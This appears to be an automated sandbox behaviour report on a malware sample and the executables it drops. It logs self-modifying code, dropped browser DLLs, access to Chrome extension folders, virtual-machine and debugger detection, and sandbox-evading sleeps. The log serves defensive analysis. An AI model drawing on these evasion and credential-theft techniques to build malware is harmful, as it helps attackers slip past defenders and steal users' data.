Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 86299D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 837B81 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 849E67 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8BFF28 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BDEB36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BDEBBF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D77EA6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DA299D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D77B81 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D89E67 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DFFF28 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Special instruction interceptor: First address: 5F7985 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Special instruction interceptor: First address: 5F78A3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Special instruction interceptor: First address: 79BA28 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Special instruction interceptor: First address: C9FD61 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Special instruction interceptor: First address: EC9C1C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Special instruction interceptor: First address: ACB81D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Special instruction interceptor: First address: 91DD60 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Special instruction interceptor: First address: ACB49E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Memory allocated: 18C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Memory allocated: 35F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Memory allocated: 1B00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Memory allocated: 5070000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Memory allocated: 5250000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Memory allocated: 5090000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04D20C13 rdtsc

0_2_04D20C13

Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 913	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1272	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1440	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Dropped PE file which has not been started: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1018433001\1255b9ac14.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Dropped PE file which has not been started: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2908	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2908	Thread sleep time: -84042s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1460	Thread sleep count: 1003 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1460	Thread sleep time: -2007003s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1396	Thread sleep count: 274 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1396	Thread sleep time: -8220000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2656	Thread sleep count: 913 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2656	Thread sleep time: -1826913s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1216	Thread sleep count: 1272 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1216	Thread sleep time: -2545272s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1216	Thread sleep count: 1440 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1216	Thread sleep time: -2881440s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5544	Thread sleep count: 121 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5544	Thread sleep time: -242121s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe TID: 6332	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe TID: 7256	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe TID: 7576	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe TID: 7704	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe TID: 7844	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe TID: 2488	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe TID: 8052	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe TID: 5292	Thread sleep time: -150000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe TID: 5744	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe TID: 3604	Thread sleep count: 77 > 30
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe TID: 3604	Thread sleep time: -462000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe TID: 6892	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmp, b1c5a9309d.exe, 0000000A.00000002.2611384728.000000000077A000.00000040.00000001.01000000.0000000C.sdmp, 140460b5fe.exe, 0000000B.00000002.2993278170.0000000000E24000.00000040.00000001.01000000.0000000D.sdmp, b1c5a9309d.exe, 0000000C.00000002.2940746749.000000000077A000.00000040.00000001.01000000.0000000C.sdmp, b1c5a9309d.exe, 00000010.00000002.2986073931.000000000077A000.00000040.00000001.01000000.0000000C.sdmp, 54993b55c5.exe, 00000020.00000000.2817866529.0000000000AAA000.00000080.00000001.01000000.00000016.sdmp, 140460b5fe.exe, 00000021.00000002.2988433237.0000000000E24000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: firefox.exe, 0000001E.00000002.3019218764.0000023194800000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll9
Source: firefox.exe, 0000001C.00000002.3072575524.000001C129529000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware=
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP)5
Source: firefox.exe, 0000001F.00000002.2991733042.00000229BFEEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: skotes.exe, 00000006.00000002.3016381804.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3016381804.0000000001387000.00000004.00000020.00020000.00000000.sdmp, 6f93831ea2.exe, 00000008.00000002.2505740733.00000000016DD000.00000004.00000020.00020000.00000000.sdmp, 6f93831ea2.exe, 00000008.00000002.2505740733.000000000170C000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000A.00000002.2612219203.000000000160C000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000A.00000002.2612219203.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.3012648749.000000000134D000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2776055082.000000000163D000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2722504547.000000000163D000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000002.2952562572.000000000163D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 140460b5fe.exe, 00000021.00000002.3010602891.000000000132B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 0000001C.00000002.3072575524.000001C1294E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`2R)
Source: firefox.exe, 0000001C.00000002.3164130592.000001C1331C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3015930107.000002319471B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: firefox.exe, 0000001E.00000002.3019218764.0000023194800000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll'
Source: b1c5a9309d.exe, 00000010.00000002.2998393956.000000000140E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: firefox.exe, 0000001F.00000002.3017401253.00000229C0740000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll+i
Source: file.exe, 00000000.00000003.1719737416.000000000104F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}<
Source: file.exe, 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1784306328.0000000000D59000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1790515342.0000000000D59000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmp, b1c5a9309d.exe, 0000000A.00000002.2611384728.000000000077A000.00000040.00000001.01000000.0000000C.sdmp, 140460b5fe.exe, 0000000B.00000002.2993278170.0000000000E24000.00000040.00000001.01000000.0000000D.sdmp, b1c5a9309d.exe, 0000000C.00000002.2940746749.000000000077A000.00000040.00000001.01000000.0000000C.sdmp, b1c5a9309d.exe, 00000010.00000002.2986073931.000000000077A000.00000040.00000001.01000000.0000000C.sdmp, 54993b55c5.exe, 00000020.00000000.2817866529.0000000000AAA000.00000080.00000001.01000000.00000016.sdmp, 140460b5fe.exe, 00000021.00000002.2988433237.0000000000E24000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 140460b5fe.exe, 00000021.00000002.3010602891.000000000132B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware)
Source: firefox.exe, 0000001C.00000002.3072575524.000001C1294EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#
Source: firefox.exe, 0000001F.00000002.3017401253.00000229C0740000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: F7hGfsX1sRaIfeD1h5f
Source: b1c5a9309d.exe, 0000000C.00000003.2776055082.000000000163D000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2722504547.000000000163D000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000002.2952562572.000000000163D000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2803095307.000000000163D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW$

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_1-10563
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_1-10602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-10026
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-10036

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04D20C13 rdtsc

0_2_04D20C13

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0066652B mov eax, dword ptr fs:[00000030h]	0_2_0066652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0066A302 mov eax, dword ptr fs:[00000030h]	0_2_0066A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BAA302 mov eax, dword ptr fs:[00000030h]	1_2_00BAA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BA652B mov eax, dword ptr fs:[00000030h]	1_2_00BA652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BAA302 mov eax, dword ptr fs:[00000030h]	2_2_00BAA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BA652B mov eax, dword ptr fs:[00000030h]	2_2_00BA652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BAA302 mov eax, dword ptr fs:[00000030h]	6_2_00BAA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BA652B mov eax, dword ptr fs:[00000030h]	6_2_00BA652B

Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe

